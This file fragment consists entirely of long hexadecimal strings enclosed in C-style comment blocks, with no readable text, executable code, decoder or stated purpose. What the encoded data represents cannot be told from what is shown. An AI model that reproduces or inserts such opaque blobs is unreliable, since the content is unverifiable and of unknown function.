1f3ab29164666fa73f61b4ec39e8dbb86c89ffd16ba813a61c5976c303eba5a6f92afdb22e0040f8839d94eeabe49786e201933af013635fffbae37255749c036b5c9b6d69d47f9c5dedb50501fbcc8b84cb99dc0f888cc3705bdeda217a543b62c7df5dee6e847c16ce4e5b06300189b2c1d79e33e889275d23ba74fb3764f8132070e7e923bb78569d0738ac902bbc1390fc9cb6312b3ccba22d1ac0edce46a099eb74de1a8b1ff32037028e5819a223a3e24cada577de1e31c79c2f2305ac00be18b924ac29e838838840bfc863d8f8df01928c63905d15b39e4aa8972527d8c96747ad36442733bf52664b52f208bd9ae945312f2470be16ada5814699915f98a5c531ec4c4c4f71669c13c438e76ea2947323d6c7b3d42b480d89d0af049b9f3a9cf1c9993a1ec1e8af0f08beb78431745cda4edeed6f3d8cc0f109797e9911b3db34b2f1b7593ef9d177c1353128fd73f30cbf2afb69ac8063c4e90dec0f560bbe8eb522d6f3b23ca4333dbaa7b4816df4dc4c8fc3d07479793d70c52b3deca10dfabc3d36bc36f25a2c605eff4587d3b4ce8f8586bda93861835ca4279e8bc7c131cc17fe1da52ac7d025841737b32855c7f539849b30a8e26fc061042658e7ab15d5f5ff915b90f2675c5b13335ed72a84e616993ee3725db3eadfc30d35778390640795220ae3ce0abddbef14d06d8b6995f95d428989e1a84e52497abe49742556b542b9841357156ee76a0f86c3effb5426cf09bc186b75b088984b849fb246ade25d7379d8fb6f6320a002b0d016853a00bfa3beb80967e3aa68bbd4236f190c5e8947e9f08cc8354ebbc9e031a61e05d82710b3d026b5eac1a5612bf0890c5c23c9071fc97851d2c9d792d2bf20886a82467252994a5414dfd9cd80b896313b5d7e5d150deced2ba58fd616309423638f0b9843c751ada59767aa32996758d40a31565aed3f6002ebb840e637f96c574dfb5d95b95cdf50b6fd5df97fa660d854704352a586ab964e563725d4c841d8d9029539ac49edc14afba28b06666622f6db3b30d27a9748c48780636559557b40cfd068d1804a00e9db008a2dfcb8ee95d14375cb1fd575c5ba401f284dcff90a47d79e8437bf83bbeef5702f1fb2c92ddfc3acf1a1761e97d0fcbb01172355faba5556370ef5bea1c82b188300fa4d84db4272db4cd5d9bcd7306827114b13f0fa6f7c4640073120331005bf1b67bc5889e686fde30335d0737448d15de7a74506a6f55cc6316e3a0ae38054521f1c3a549fc82c3897088e40079d9d4e8bef99f2817ab98f44feeaf8737d0d1cd4a322f4ce514daea31e821e490f46b6f5d22a6030431cc82b1a507dc3a3d29933a49eb89719037cbb2f67137c85051a9566889e7e464cbc1f9d553678da471b0c136fa9e58f8ee04d53e956be6a20056b1bdc14c4c00e5a05b39671375fc525653f1ac1767570d587e089ea6a49fc79d89e235b1656cb885d7b6a82581503d1b7ac54ef70be8130ecf8c9f9edf5b376cae57d4fdd7c3cb845612dea4e30c5721c19a723546f047aa5ab12faf62ee4c7fe36b292a3e54cc9cab0ec9a411c7da524bd055c77472424215956ff656b1f9e18a71f692282bf4bed2670ccb78a0791c448128c8ddc3d74d1a2c248cbf62d85dc5d2dce397cf518443170fa756c6065bdf61b68bbeb915094989f40e07c07b5a9c71c5189cbb18d2d8139bf2d1cd613d474a5342418dcc6539ddd9cc9e1484c741eebec8dfe77cf4046c4dfe2e85429f7a6ab734df16366d23b3ba18f1ffc033bc1f0c7d353976658b71bd57b791542ef3732998f42584960eb589398def4cda15480476d4f13e9d4e4a9758f59cabf4d417421edf514acc6ce553b7b9810b645cfeb5e99d626b423ed60249e1442db7d840a4d4af041b0cc81dd205f72ad31c00b3187d179402ee223c7*/
/*eebaa461ca1eef86a62ca4472c49be9d9ef5c9feeca0ebf219bf991b02af96529c4b6c38b41f3c131add87b923590b30e70ab7b01dd17e972c1476ba12656c6a7ffe7ca209ec524cc68ecfc752345f204235cf323080361ed0856645213707fcf6fb8d80ecc31aa4d25b35ad541df5e367878041da676fe75ecb1e580888d885b5a8d9885c2da3d82ac528e807fd815b47afa10c67989a3f8e50cc4bc0ff822a524ac481e0685be14a26af01794d57b4cfc0e8c03feef739460e6a19340d7bfd391a71f61c0f0f3ab5b066e242325dc55d6320196c8ac8308efe1aa6eb60fcbf916518ef4cb1faeaef03c84664f531e63ca8643a4aaee2db4797836a75f55511dff93afe3fa7b88d8886ea5fbffb68b9aabd25e1c433a0a158ae5608e2484db5f87176e466df5ee191e11fc4a0143a8beaa165f8180e4b13a1b642c507880fc249b64adf057541e726bd1c67aee5d5e79294aec4a3cfa5588eeaeef150fdcb2fed8f4198f3e85e59cfcd3efc152e5ff764324d572a5d05210d4f7388d3faf580042baaaae26ba039bbbfbd0c2e691aaa06241ef2daf0fb21ce2a55ab09538a047bb35a9872e143a673eb21a345439992dd9388ec359a675a30d921671b4d6fb10113125ed89eb3acfe9b8bf4fd3f87ccccb41adfbc241012115d4d3227cf7d9f32b3ddeea6b1b82d7b7c3638581ebfa4e5fe073795f6737c1892f1aa4fa71429604b5bcb97959e920f4b1f392baa876d95f9388a2ada561d996a1c231c126d2c02e72270020856420ec89d496142dbdd44f008c0c869bbf1386662a3f91982ccec4060749636f3d8d7bfe706b9371e05b1d3fb580e047bfe1de7214c78ca4a758e60e88869b9abbece38cfa6bfb025212f90d54f3728ad88a8cd0c6e0bed700a910d0cb0ce5095c410d57ed6951d020223379db74800cefe8e07a7a2cf6517ac65f3248d813731a899344e014d53ea763788e5a630122ff7801636d0b89b5facbe6fc7dca35853c023221a11ef51dacb3ca64b94714129d413a4bee6ca675246d1c3e2c16c7889ceff657a3873aec17b25083c33dd80b50e52832b7bedceb569dd8978fc3779d6c1f78c15f251b47007fa961d789e99e7245f4a238418cb29d1f48afb1335fa893588e0aa15a1852e5f456498db5210eb49ee14dedf90f0fddaacda1d73f6ce804e90064f5e4435bf98072585b5581f2dbf7f944605c01ffb8088991729996392e2a6fc1dbce579ee37f730936518b71e0ab3cdbcdb0b4d6bdcb03c4eef4bd8d7f0d3edb2ad952a245ef74a6faaebfc3df56e768656dc49f60d44cf6380974dbb89df2161c5dc1d2b0d15580ea34e40e728f6fe5934e85add95b41608b4c09e29db1c65855803bf1c71d52ef14e430c14e76cae8bddf99c3a8cf78ea2c04a688500f560f3921474147fa877887c391500c82146c696e28b73b33297d5171b3942ba21ed94539f6512f92cb035ac455a653500f521e16ba67c15be788d20377b77a9751d9eb83908ca72ae8e3900e299e57da508c8be315d40a668327a67046a953fbdda75351c54272af97b9bd641aa7a21fb5151967e2fa736c83bbba7b707cd2827471e52e82e078bf689a105f3168a4d8a41096125b020fe74611b85b6b81d7dfd3497539a703b3b102a8adfcc53a3b2a4f090880f1a2aab30f0109342bc3074a19e500b5e94441ad15e33dd9dd9c4600154e9032b66948defe6fedba395fa8112e4cc1722515e936427b8036c117eebeb28194b6679852111b47a9e919c8b33e24a71a78aa4354a971ef921529be020621c9783c70234413705100dbec1edf43f3b5843a4bac9212b0f2cb61c1ea58bf4a323eaef91fcca26b0b5fd8d318342d9e8e42755e69ccf8ad46533940e56435b9c0968f1b086ace5265c6fad5f9cd07aedecb2160e2660beebeab49c8640794f8bd9d7ab4706b355c8226457eac466a19c4290d3a8b6882a2625f4b18ac6b24b82a30997e34b87b745d8bd22f5ff3d9e3d72e298f4236c1d2aa780a1de6991665b0dd5eb496b7b66fb5bf3ea5a89f0da4e19507a1b5d91cde72757c2dc8612afd69064e21db66b1c4db08d28d72a3e9cc349969f6e574d6469ba259615906c1a8c7d15f2da311026e0a38de0f7cd99f6774854d144fc04501cc3fcdfa543383d71f2cd4b77258799af53341cb3ed70da11200e568304a57048308a9d1661f8844f4fd757b49353c82fa8486610370e7d3cf8e73620e706d6cdb16b618c0bab882c89a189d4ed55af630364f001f22253c0a0cf31e979e04b3afcf71feb1c7e32690089ef618dd9f485b2f2a6959554e83b8c3f3a55533adee0e6c8cef718dec48ffa0849a132784a416db14766575f3f3b2ff384052d482082c8cb3f2d715df885e272b18c99c7d115db76675707d5556ca14ec48fb8ee11b2210b79599c9b6f60baf0781d2277c0ed2b0dfc23a417d213cf4f2d244a5bc42d96295b04cad58270b02c3546a9971a34dee785a1bf9010bf60c9ed77b725bd804926ef811bed1255f638e9ee813bbf745f12ddb892e1ac354598b8cb9185668e7a42aab29030ef5fe05ef1fe0e06c68cebf858c4d0e7f659cf20501cf23823efea28b7d771f399beaabab3ca689f001a8e0ed666192c32a5e413e0d0c5f8128464f9e0b1382c155104539aa4c97512fc87a2aa915216ec5846f358b88d521c4e000cd00d45c10c197c74280dcc062657f5440e9b2ab8d9fd5bd5e1d6aad485f7e3546c74878ec24da24cab24ce8e716e0c7790c5dc86f155d7f06b8b1cf45dd5590484f5c6a546493ef543e69757af5a85e283c78db14ce74e47ec8a969a*/
/*8d913185b33e939ca1e3426e295cd5517bb3103d98ce1b676e1352a596ff0c6f2787216db085f33745f7fc04880b4fbb29b111afe7feec2b2ac6fb642e6e65bd7cbc9ed35b2aff21bbb13df7ee980cf9750c2d1ea6e3046a1bf0372eec26d5b9cb3fb6910a68d5484025f25d70618a7f5105e100f9ade1969aa060d630c98030736044bf082683fc028365d87a16ab62335a5060a980480b21376d8ddef9e696c3756b319ab773a61ba493fda303a16e33fd953fb844a6fff7ccb7de04c29278a388aafe958e804ab44241ff446cf575a2d541b498781e0bb26832d590e4edb198f7dbe7e2cccb67d8b257a4067da8114a968625cf078b2a7ea334eee70fd7e1aacacd650dfa78a443cbd11c3a626b58c491cff33ee9fe8caf2f44c7ff2d066580f49820c720f589971ebb72524e3987fe79c94efae2b4818f0d3c68dee0906f12702bd9883b78c660f812896070bf70ae44b50df97ac716dd98fd91cd218aeb5aa3e50f5ad2b2f88c88945dcc9fc630c4eb1feb028ba36ca4ccf7db0ee3259f88adea3b96795dfdd35a7a652d2e9187a22aa9aaa25f3e8be88621d420e5fc8f2bf46c645f08d2de31c0ed9645b04d8c25cf620bd97ac255cfbe4c731fbf3e361b3baf3f97556b9810ed09f36cdde63e858c7fb90af37bdcd1e1e3c749c6f8002f5465750c487dcb18c17ab6b2b8f8f5aa35ebd0761609b038a4afb566cf6e72c614e18c96a57cf9ac4a9bf00af84b7102e0daf1c180589b34a90f83617011422a4f8712b10ca7da60c997aa16986a5e7a9936e3e414249072997fafedd0ee4d4d783c6ac2ffc2e538a66c41a079d486d32366dfc8f865bfbceb745b6d417db8651edf81a4fab2a9e713f27c7aa86abcc3a7f394720a040bd4edd6e55406a63b4f3e8f48558410eb069eb6938d087964940dd503999314b1f025bdc40b110b3d97fb95d00a29ab9b500b2790025b5d34de3d35e5915ca19a5e1576ebd59ba8dd2eb844665331e05001748693020dc3dec027269c2004bf9998f1c40286bbf6c487f1b5f0e21f8bb974fe2fe0e7bff6b9cac5f638746d00321ffc1f6194d79279b770c1d5a8bcb6183a95db567f6be67829a4cda98d74ab0497bd16782cab1f59d9c5a4c8732170b2f841216f372dc08ae2a21e1272ed9aab7bcaed5d12f0d77565e7233dfffef101558843f224d1b08f793b0e236713ad24be0f8c4856da310e504915f93ceffb766d47f01a6311c17945b9c8c4fd9006a6d5644598a3b1c388962f5cbddb62cc25415e75a41ef87f87cabfd4ff7fe84b7cad0d62d523ddf0303a75755733c38558daac5f426dc4e69b2755252ac8aa242cf2bbebd1785872d780fa3fc5a24f67a12a3fad1823826f78b0e2c8bafa74b24b487dc7479b092d49c27c6c08315f62d8ed9a5ce95b7040a6966d034c2374511f917bcd324a6d0fb6866f1babae454b96ca7eb6308f23966cd2dd7c4987f83b0bcf276474ef87db97fed2c4479ae7f463605cea76377b2236343005b63214f5b7341c7699010f68bfd73185f2afa49839b421a52ff877cd881942df4c10a538eb9a2d8d9b5d3fd78e2aefbfba0a24c123cb9adb7d5f33e1cf35102981e94dc5d665ce7797e380d7151cdc0c08988d70dbf3fcf0106eee2504f443a928e88707fb62419e1571e6a7c0eeec3069457aa642d9e925983fa8e4bfbccb9c1540ffc7e04858f0b5212d57417a5a3d922c323c2714d0377babd587c6f8f161f5f46c6d2e63dfa5b83d47e0b202193c914f656da7aa9af841961074675cf452cd6aa25a3387a603984897f6742bb0f34ce9396341eaa213139a7fc3377b0e56705d661a6bb3e3d59433678d95badf1248e3013bc20faa4199cfcee050951078356d1533138ab6b66762f8022899cb1bb7722b1ce9830a0c6a7a5ed20bd9ec59e68e8c96677b2a926679914de4d406caa0715f4a9bb88d777f9984d7062d82adab01a7bf87823af5a2d64ff6381eca00aadabf43ef5f4e4db0ab23c68cf69e33662060ea2c4d8b26d7ed57bc0c89ac165baeb3b6884c07782dfa00635d949c25f146a3ba7f4c7e1fe805b078f1bd45312934ee370e53b96368892ec7056e1571cc7dd6cdb494a7cadee7d5600e433453d21becdbfbcfc77c130f2d4b217fa2d8a11f61987feda3717caffa4e1345eadc7f0fa046dea04655f035df8b54b110e5168ec15379b5209441bebc3a557046c34851a895484a19d396cefeafe6f67770b419b8ff8781060cbb29f091c0ef6a3003236b346b61806ef281400f1ff5dbecc31675f027b1ed45e926b904aee9075b22dcb9d4c08deb8f108d3ba9177e0ffc01b99d15e082aeda0171f97fd47b7f1a3557da048b733b5e65b9624f30bd43a424d0982dafa700117b96eb19dcfe7adbc47a3378acaaff07aee62ff382752abe41a1fe33045da8a317f5e8056e90146db2e502a79ab0ba70338e6cb9a8fd3236dd2e85cd1ce9be30c01063656b8aec65062940039a5fe2d5906314504e43f1cd8b26255ab048cf20705fdec6e0a5de273521e99e47760ce395fb5baa094b746d44a759bac52a08e39b40bed6453539819e247c6c8928a2fe30a1f70f27e4fe3970a6c2df62fdda21e338ad65fa6d09fdb4ffdd9d1431f5d5d9a742588e9e45fcc8819dc7bcf9fb8a50cb48999181f1d96ec5fa6be95e3c3b1c430fbc3e7ea599e3c0036885dcbfdcc7b32d2652d08626eded965340236f1efde00a446dda95a99aecb3477bff65ce797b3a78467870a3d71f5da4abf572cdee455a4e5c7e8263759d2d7ad5f6bfc89a4521f8791a16d3b167548562ce51f990daaf3c6b*/
/*21c45d786a07e926bdee0fd93655a010fb780ff3f010ab338618281a82351bb9858f8b82fa83fcc2692bc79203af7baf533c46ae74d413915e85dc919655bc7a2d741166d91a5e4ade72791f38a5d5e2f36c850cd1b967f9ecf15148a91d6eb47f4f1b28fecef70a9a068443e5e39e85feb48a8352962a2917818b29020ffce19d7e8e81746d763c842494842402f105fb626da0b88d4709c0b1d73402cb82f8052ac0ffaee87c1b050ff64396561101445399a9b976588b75fa4f8a8f22919aa682e4a304487eee71012e5501a2e3d2110cdc5c09b8ccf92485c7bd271a41fa09925361f9e46ac31ed90f5fa1c7108a91f7a081066ccea03f6ce229571f21cdc2dddb53b2f8fd4676863ebd31c78acb4ad898031eee43518ce94d6dcf0279bb6d175f6f7c1adbe3580e9bed58f256401203db336b8a467003d799defdcbc6ae993e0298584290515313a678215db320921208c5f710b72cefb4bb936b9c71cac57e6f2f89965ad3b457cb9ae46eb303dc70e14f436dc5af7dcaad4a0e1d704ca9947e1ffdfb0c5b9cb87ca22bb8b186f7aaf594bbb2cc3076143c4a8bea5f46cec4f2d5d02a3d7dc51a6ffcaeaa43a654ef37f8906256caa9c883b4bb70bd21767b4b305a93fb4bd91d6eb2b8365fb7ffc9f58a1e1f9c515f8a2a5de62b1a093fdeaec23ad48725da37898359d1237e39424b3e69d265705d188fa971b827fe08dcc51f407f86841beb4f5fb4f2daaf3eec0ef5315931c2b717e4803940dfc0efe6458669fab7bdc5217e2f93fad90bdea849899b950b3ef8e42d8352f71d395798fca5740d0ce2cb5951fcfbe0b196929750170b18fdf6abc3a671cfd6e2362534314e6bf1ff4af376340c425ea255516e37ffa8692cc192a05e296b60d28a69fd5e7d86fdcbdc896da01e4d26ec2ac2f83cf7d1fa9a4366f2482404331f892f2ffdbfd22e30635be44eae570c15d7dbba05fe2c7bb797f7dade15563e976942c6c2fba1df500fa3df845939af0228c334c67bef29b4e33670ddfb8dfbadefa3f3e93e6c20ba80ad7324411552c9ad954078320bc049c6ff0d52d79854c5197f58ed61ddb85e496348b4c88b524f375ed7ac6026932b4041fb053585314d8b247c98ea87433c7c187e151b54430c26645840e426abf7b946f183522d22490dd22d94a46e2ea63bf21c04308e237c240932fa8668dc198aab897b043cfef8d4cac258af818d1f7d288fe6282d2b6f64fed4d76efa9b987d86cf67ca3410821f0c52f09e67ba777ca8ade75bf19de57f9a02fc1ef14f0bef64df8ca4fb2c322af45ac8edf42971957f05b2a10e3ddd392b71fc90d514e2acdc30a70830241bc572a4fc6304e986fdaa9674d1ebf23a3cefeaf04d3d2597a98ed80f25557590ab69e2ff63530edc1f598ca57f1f5f1ca3a51ab5cd853208c5d7109a8a9704182957369491732961be1a12645c120bef30b34e69cb29991e486e5db64d421359f5bcde8981e5969a4144be389545ec50cb000f66d0d808d3a79bc08a840fe37d2f7054308fc81033b1854baf0dce23b395074ecf7fafd67b97830af740aecf61eacacbb51aad2a73412d96d979a564bdfcbe46fb8ebc9061eaddf66bc832c68e6ef9912dccc97919c8bea9897906409fdeaaf5716e0ef657751c9186d347a3ae31158f67216574f7d6d4af422929d007ec24b864793e0727b983df154fd13575b0567b65f779d6ae9505773486138cbb9fcf6a42bcb1e81b771a66e6f0080f388a5bbb3323c9172f594e7b5cd9b05fe72fb50e1f98165fbef7ff518518a897887ee32f4e9225366d719092a2bf0403fa310f0cfa883f8386e94ccd24af9dab609bd00d8223b86648bdc8bebacef14fe977982dc3c74ee31e2609438190485def094f068df51ea52d41cb041ce20a7d58bf92248dcc21d9cee9e180422487c1c688a54c1746711a6221b80caaf2ff211a7416134d0925f8cf20e11783c771e8ed25b886598561bbc378b85f784f62cb86df3a3c7580226f41973ce1f1671078d1b24abdcf27af11249122dead2aa62a0dc70d8c7fb83bc9465cd327aa8f880ba10ef22122c09623e447d9e2ba9d6ee07970e5efb41eaaad96b519da2b208fb7635024bd4ce5218f26bcde184bc5c53068a16aa60c4a17740465364322f1e011965bca5c1b575dc87574eae4617ceeb0e1a33ede3fb8719c13a60c036d1574b02e664d902b7b02056ffe4516b9ffe5343541a350db46d02484848a13e0e913af7314880c60d5301929538b60916d47563c2b799bdc56c6f1eb45a357f260771ffbea15d47b04dd279d90c0260f9ae39be699c3588efa46cdc565272fd0e342eb85fe7de8093145714a173709f4a51fa869f00e0c0cf8047e23cedb340bd09f7004cc1e84a379514c8c46947c84112e03284fea971d03270fe5a83246e4eab71b3f652a8013cf339009cc8e38ab68e29b7fea184380e21edb3bee45868eb21993dab0944b1d7b5ec0f7d995e79412514a933464ecf88c733bcd6a2510c7d3213c9a0f3f3aab32dc27aa3bed218ceea2f85d19b0ab1bbc7e526d990b992dfc55850e452a4d2ed62ecb8a3b13f53ea0385ce069d9eaa7f7970e07d978ed566f92a5fd1e6fa2182b1fa2fd0fedcffa33f3f4bc973eddce31004be02db9f2c40f9707f4241d73de8b9309c651962d900ad235b8330b18de5e9c90b3d473d19d0ff3d17323c1979b0a07d43ccac1152234f88d8e762725460855d2b22ec78264343a7d311d2b6d10a3325d27b9fa455f1b3819221e7fc2af72bbc9b5ed7e89b983cfd5eb7630cb82e67b011a8f9b5ce52dfae94d73*/
/*722678b639fbe33aba5309b7214e67c06e1ea97e11e97e24863bfd585c3d5d52669d17b77511cc439a027c640ef30ef24ebc308fa5e8febae5899d9d09bab1592868e4253cb61420be5671c4ac7c2e71fdef2da67d1b2bf5036a8229c59c932d9bf9e9a72b8c51aa19a0cd7d83801ac0b9d30b213b88f1231a4aa65b8c2bded571881ed2d7c13702732e61d5518ddcf3da7e69588b1d42a04d8787105e6478c0e92650e27cfe5f88293f5ba2004ebf0903ab3b34cd004d8ae703a76862080ac840487bf4a11374731e42b441ff15165f11570d86bfd9697d8da2ae3ba25773ef6c48d25ee45caab14b8acb9b3ddc51292c44214585c1d817623e928b7e0ce2d5b0c8e7caeb7455a4e3983b2878cca7795e664a0992ee1fb952daf020bb7750a4ed46c3e2620d596b2b82e2de0f59f81c2451d7d90b892f21117145015a0f7a2fe1cd034f238021403140a149b528b351f9de9a18dfbf0ce8e1754ce1412e3dbc6b1554c9b947be37972f5cfc91f17fa22bf84a94beceb12e90b71ffc8602f9eeabb45ac82e20826f37fbbcadba8f645817ae7ed2071d005cb161cff45d119b5e3835526476094a1ad3749ee37916909c91f86d2e6f74db8105bea50b07eefc1c3ed2ff64b2c10b3829ea76c9a959037e13af5c9d54c2d066d5e0abaaba1808f623ce0e6eaaa1cbb09d4a73f42fd359759e80a1026c9ebeeb34f5933027e3b4e96d7c465791e2e9448ae48c57c9b30e33d0f1f90e107da5d6e778741d472f4d31ade653996721ee90ebfe0c50c9d2096a7a4ae41258b10eb5c33ca456848d90e122b4a2a3a1855e56cb90065adc2675c27ef93b1f76f47c13a8bd1724d7278e09d9a5f827bb278d0874aa4f60842e4c081fceedaab3bc12d5833dde0e9d7d8e9454b686dedc98d3ff30b14868c72b8493b866b64e748b134c3ed013b420740969caf27453be0bbe4231032a17efe436f4de7bb008edd2651ba9f1f5679ca468b6f85ae54cd70dabad62fcfbf2833f890d74607bbc582803c2768036325c323f559e9c31d19be1f2c0d966141d30fa03c660e5c3121a0af5fe9645ba5a7db17801583821b49cff8a53f2a70eec09c5e852b5beb6e6e19ee78c6c6a73e461b7b8911684c683d458fafb08b877ed1769b18773c4d67bd3d60a627236560e7ce36762b015b5f9d0a52d7a1d0c9a833ca14f062b9274056c4212f996817d1c79c670751c929445a836d7bce45e64e84e083a879b0b59ea51d8b59859738fb959f8a95f478a4af9ea3c3dd69afa21cb73bf0e9fecac5ca3cbd8efdb03427702a5f9dd1ee8f13ce560b7637b910060c38aa761de4a0a427b6791c3684e85d826cd1f5c1dfd71a32268bba89f90e7d930275c1f7c87eabc5b184b68d63135d908cbaab49f78b06e8c5db182a3ef7aea0ff9a9b59fe362d9dd47540b747d6e262919034452e543ef89b07dc7cf4665c3e01aa29f7f276294c94ffe28e7385a8f4ff659a6bf924879b9f5477bcfeb9a75c6e04975c1a4ab1e08cd1841081cad97c08bf3b63ba05f3e0d7454624da576c73e0d89a92819ad5c3126f9bac4abe0f371ff887165da25b81d1a49d21a7a075dcfe446cc9016bf852bf2d6d4d5d0a61c8847ee4f2934167fc3a1ae2472ea29c870a5d7330409d1433b915933bea9b5fc695a2147c8fc02fb2f5d5b8b38b2e8af494f72af8f69b3dd1350e0f9f86f82f7ea1c387de1dfb5daa30dae2a00c497f3f722bfb4a2fec7e52038ee52e2379929820864c78214e22c0a08ca7a9ba915ae7ebccff6cc6a6e45d77059c2b10f8619f1831e4258eebfd16c8aef908d8f38a1bd2c8209b98c77e8ecac3d8c7a97dcd6006b8d351dc43a7f295dd95ad704fac115da9a18e2e9a19f8a5991ce12bc138c39be1ae4b58051794eb7214e0f4582ff695e95da3cda2e1ff890b49db9596e88a3b91ac28178d23b9f77a73d48096d5b2544949c51943c9e451489a4adf9a9a8e97463321f147c3e3d652ce1e1b44ab0987ba8d5e1c48bb1e14cf61f32812b9f4088845efb44671202720b9a2c0fd1ff1e74d3af0e4a7223022e6864a21d6699476dc67867af9ba19642757a88b02e3d7b48f3484193ddc0b1015a5eb07a575a960cbb9faf1f9839f603f011278a8d2215bcf69c043036f204cb145f697e102e3108fe7a3b1c87678c24f789b628ed3a96dd9b0c4cdd919d0084ad64eb33aef73960ebb471d8ba53b904fe0fec5dc208e1edfa0dfdebb0eddeed3dcbadfeb174e9b5fc123b631b197eb9ed9b99ae750539fe1d029f2112fa1cfe1dfa03d77be65cd205cd18c8db21717c186e098fe6ee14a1c5bab57c071ff84057fc7be8d335f0c20ecb6882ac53be9a956cb4e78ad133b032e76e1af534a3401b4348e00fd618d94d8570d1e7e1c1dfceb9556e1c577fd222604965fd15fc4e1f372416507723bafe72735a3b46252f7c4bb74e1a8133b9e7eeeba29bbebc72d802f19cec49c187a7eaa113b6ab91e72d21245fca3399b5a0d52c255292f1dd671856e3a1eae01d51d987fbcfddfa8548057a8c59721b4a3d5cf2741ac6e2e26bc5f26ee2cbfb9286f1021c476effb55f00e533cdce9c28e6effc8b19fe24945d1ea3556e8c265212f2ef9525079a39c013467f29ccea6262a498b84352d4b13ada60eed9d50b715e2952d908b2ac88b99ec712c1e2ab7c5b4e57260b4e30d4ee894641fae21dc5125e27e683dc450415bfb6808f872d71b8b127907ad1b2a3f8f5af0571b756511aeb5f9f11b7190cfb12afeba966295a2025a23d63b1b7077ae7ebce6ad1465bd103acfa359d64c06c881feb446cc8e3401301*/
/*b3129a07044df54efcf64116acdca0214c897279ab643b28066c0c42008f97de98bacab23c26b384c1c6436b38512a9fd4c9f077c84f01f237ad77b261efc9417fb33ff515bbeba2c9e4d93083f38f2223de55c74cfcfe364b8c8174e1cc0fb8f9766c8f8dea16351f54cc536ff995cf82d781fe058903efaa6e9f871debd9f6c6c8cc3c7e9687451ccf69230b546615ff843e20bf52c93a3486f16736b6618f643d507e5dde3da55a2e09a0880f235223312602d565d7c5ba9d71bc00f8e1e555e58f5f932148d9eb3fe90515e8f9f30f9669af49c88b444c371d794107d62d46d2f8e918d3ce4c53b82e1b6cf813c2d4a6d6161556bad7f554e980385add94b877a9ef48f5c88ba82a54bbc2f32cfa684c0e1302f5ddc72042ca370eff1eb492b37af93f398a29e92309ebdd953b91efbf10377db2b5447bb3e3684f657bfa6ed92958d868187196fd1e5e5d18e0fab6bc6b85cedf497a72d7646ffbd39e4705924fe76a2e10df7125a4e3d9c2f518904b112cd50606d8f4430b05fb8ed8c0f512e3cbedce2fa25c4b2f1dbc501f72f78149e080f9bdb1ec0146cd7b8db1237c4d97bbe4ccd699d1b04f9988e9c603644d7b71d89e3ab9394245f4c992514e3c91487f0a05f7005fc29a3be9ee379718d3ca77f078dbdc212597f9dfc92940a9af2631fbc268aa3a02fad77d1d97d1a9d5bdfca4cca7cbbd116135e2a464df51fc44fec9f04a2908233e1ce9ff9e64d25ed3c5a2cb926abb77d7336d86d80a8774fba7484e7ac9ebbac8fa96a030f295836c36f911b6651dff29172a02948d04db3a778f08af9fe4edd15f12e446c894d370fc5128408aedb83321ff95373356294c8f37947201aecbcb4cb7fdee51dab66e12d6f0d23cf6be6a5b66f0f01e1dd8861d80e34ebf58acbda5b111120c9764ae11f8fca95c75c14a822dd62762b3a68e28c02ba5dbd6e570bd0268d49f6b508d21fc00ff2e5e4370869d4d1110a4e45f37cdd983b2f212d8c867adf60ba6c704e3b48765b7833dc434ee6ce35f7d61e9075f4bbd167294b51b2831dfa90797619a48a9d5bf0ac043947aeb5d80bb934b4227bdbe0b167b8de7100e5e631dd8c08b07d8a0d3791d011f757a26bbd4022341538dba5370e61eac656cec62b96078a8485881ed0c4fedf1081f787d81e65b8ff0182826023e2bd58d29c3a8cdfb383f338b746d89ced9140be194e2eb4978febedf754522c8a4e4e328bb223cae21668c0525debcac112cfd4c17d8e579a37c48b76070ba3180654aab2e853c21fb910a9b28b5c90ef284284ac5973d3cd0dfb00814ca04a7ce5599597ba016210b76e7e47b18f7a2a2fd3bebbbe9f165b3063ca002a83fa09efe1fd042c4d479b9e38b797dcec0397a71ce4695cecfc0e87c86e3824c285eb97d931d9eb396cb8e7aa062706d15c1e1b2e3f5c7371b8a60f5801315c2e7e60be06726e910c09eae8271d33db3a8258b3be974c7ae20ea00c349e176d837cc42710311e1d062cf651ba05350e154c255dd5746b19777219809408aaef1333e81719d5b962531037f723d6c2add109450e6f4474ee09c028c2fcf87d94392140b40326527ee982ec28a01ea71dab1a654793df90faf336d147a48a3defa91343eefc45b2fda571e15b7fcce064b84451026d58ec37b596cad362eca791e6b7688c605d34652a24c6e007cdab4424ebf30eca05859f3c5d8c549db361f82f7f18c40aa7a4a2a027f37dbdea1b2d58355201be2a25640addddc16be12f4630f57a86e2c1a626b6a2e9a63ecc09188d3d2802fee243febecfd171383bc519efca8c5c0f3dfdd02cec4671e1e6518102c33aee963e6aa1a55b94dec73416af1fe5e68524347991f324fcdf6c2dcd47e73cf2d16ad4be51b16b622884863fdb6e4da3384dc1906d46880edfa46c2eaec7417af56425a4b2ab7592b712ff40d5d90a2b5d906ab55657702892eb0f426483c940dcfcbb044bf8d1766dd7afc32014bdd57a9baf917d403582ff508bce35a05d61c6b04ca4fefbcfa9b230ee871ca7bf0a9557caa69ce7c5bef62ebdbc3eac4ac5fd162f992ea459cda2c4e0a8cf4ae42dc2ea51699efe10486cb05810d742554c03ad84de5b8d6129165b6715fa87e0cfa477d0b413779cb14f7b3ccaf14feb61589729febd86893ef0a8044fb65c684cd6c818cdb13c88f95df72f2c05d5053f3a8e58505d7f9c181312cb9992037ac4c41bd006dfb2db8d811a429ce11eaf6f680214c0c4742369b320e2c048cee659ab4903711e516caf956376e9807eb3bfd6a99b3aa04dbd6eef5e1cee70404e59a6cfd2fdcbaab39be3d77fecab1c481c02f45d4a4c248419ad97b81cb6bc728c7fca3b31a7aee078c282acac6d2a1de5713b1aebd1a4a391de3231f415a5cf698520af27841f51f1b5517547105f3e1aed3af23faebee3a1323ae571c8ea0b639d06e5a1dc00f51ed14edafb48cfe306327a5dbdb9bab5d36a41464fc44ed536e1775bc13d52c0a3c82ee24241aa4901f242556ad59603425bdf2beb26bea50b109690065df8ef7816a3a0a56b1cc522a27bafab46a789ed8256969c66e2de30831ee3e061422a24e3fe6594f1bef107037b80fa506760a950ca4f2256b31aba17131aaa895fdd459d89855a39f43da1cb2e54243178033450191f2f5d7449bc8f247de0e7aab2aa339d9d2df39e44719f03bf91de1bdfe76f356719d5c8d95a725cb949f010dffce2a083bbc8a103f10389f4b5a3abf695bf9b616bae67feb898a77eded4fb480e8d72bc05b417418d16da4f8709cae73fab60f23774307f560453db15362*/
